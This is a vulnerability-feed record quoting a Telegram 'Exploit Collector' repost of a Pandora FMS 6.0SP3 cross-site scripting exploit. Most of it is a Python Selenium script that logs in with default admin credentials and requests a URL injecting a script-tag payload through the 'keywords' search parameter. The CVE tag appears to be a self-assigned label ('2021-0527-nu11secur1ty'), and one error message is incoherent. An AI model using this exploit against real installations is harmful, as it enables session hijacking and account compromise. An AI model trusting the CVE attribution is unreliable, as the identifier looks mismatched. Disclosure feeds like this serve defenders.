{"uuid": "5c100427-b8ea-425e-9d78-a6d08e6ef1f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-0527", "type": "seen", "source": "https://t.me/hacking_Attack/10336", "content": "Exploit Collector\nPandora FMS 6.0SP3 Cross Site Scripting\n\nhttps://4.bp.blogspot.com/-f2P6cxL3l-g/WWlvB5J0BVI/AAAAAAAAIKc/5_BozSRH9sAdcCSQmN2ufmoLAOqLp1P9QCLcBGAs/s1600/h125.png \nPandora FMS version 6.0SP3 suffers from a cross site scripting vulnerability.\n\nMD5 | c93c017b2a3bd57fd53b2f0c4eddcf31\n\nDownload\n# Exploit Title: XSS vulnerability for (keywords) searching parameter in\npandorafms-6.0SP3/pandora_console\n# Author: @nu11secur1ty\n# Testing and Debugging: @nu11secur1ty\n# Date: 05.27.2021\n# Vendor: https://pandorafms.com/\n# Link: https://github.com/pandorafms/pandorafms/releases\n# CVE: 2021-0527-nu11secur1ty\n# Proof:\nhttps://github.com/nu11secur1ty/CVE-mitre/blob/main/Pandora%20FMS%206.0%20SP3-XSS-Vulnerability/Pandora%20FMS%206.0%20SP3-XSS-Vulnerability.gif\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# CVE-2021-0527-nu11secur1ty\n\nfrom selenium import webdriver\nimport time\nimport os, sys\n# Vendor: https://pandorafms.com/\nwebsite_link=\"\nhttp://192.168.1.160/pandorafms-6.0SP3/pandora_console/index.php\"\n\n# enter your login username\nusername=\"admin\"\n\n# enter your login password\npassword=\"pandora\"\n\n#enter the element for username input field\nelement_for_username=\"nick\"\n\n#enter the element for password input field\nelement_for_password=\"pass\"\n\n#enter the element for submit button\nelement_for_submit=\"login_button\"\n#browser = webdriver.Safari() #for macOS users[for others use chrome vis\nchromedriver]\nbrowser = webdriver.Chrome() #uncomment this line,for chrome users\n#browser = webdriver.Firefox() #uncomment this line,for chrome users\n\ntime.sleep(3)\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n# Exploit Pandora FMS 6.0 SP3-XSS-Vulnerability for (keywords) searching\nparameter\ntime.sleep(3)\n# Payload\nbrowser.get((\"\nhttp://192.168.1.160/pandorafms-6.0SP3/pandora_console/index.php?keywords=%3Cscript%3Ealert%28%22nu11secur1ty_is_here%22%29%3B%3C%2Fscript%3E&head_search_keywords=abc\"))\nprint(\"The payload is deployed, your GET parameter is vulnerable...\\n\")\n\nexcept Exception:\n#### This exception occurs if the element is not found on the webpage.\nprint(\"Sorry, but this user who you searching for is destroyed by using of\nMySQL vulnerability in backend.php...\")\n----------------------------------------------------------------------------------------\n\n# Exploit Title: XSS vulnerability for (keywords) searching parameter in\npandorafms-6.0SP3/pandora_console\n# Date: 05.27.2021\n# Exploit Authotr idea: @nu11secur1ty\n# Exploit Debugging: @nu11secur1ty\n# Vendor Homepage: https://pandorafms.com/\n# Software Link: https://github.com/pandorafms/pandorafms/releases\n# Steps to Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/blob/main/Pandora%20FMS%206.0%20SP3-XSS-Vulnerability/Pandora%20FMS%206.0%20SP3-XSS-Vulnerability.gif\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:41.146942Z"}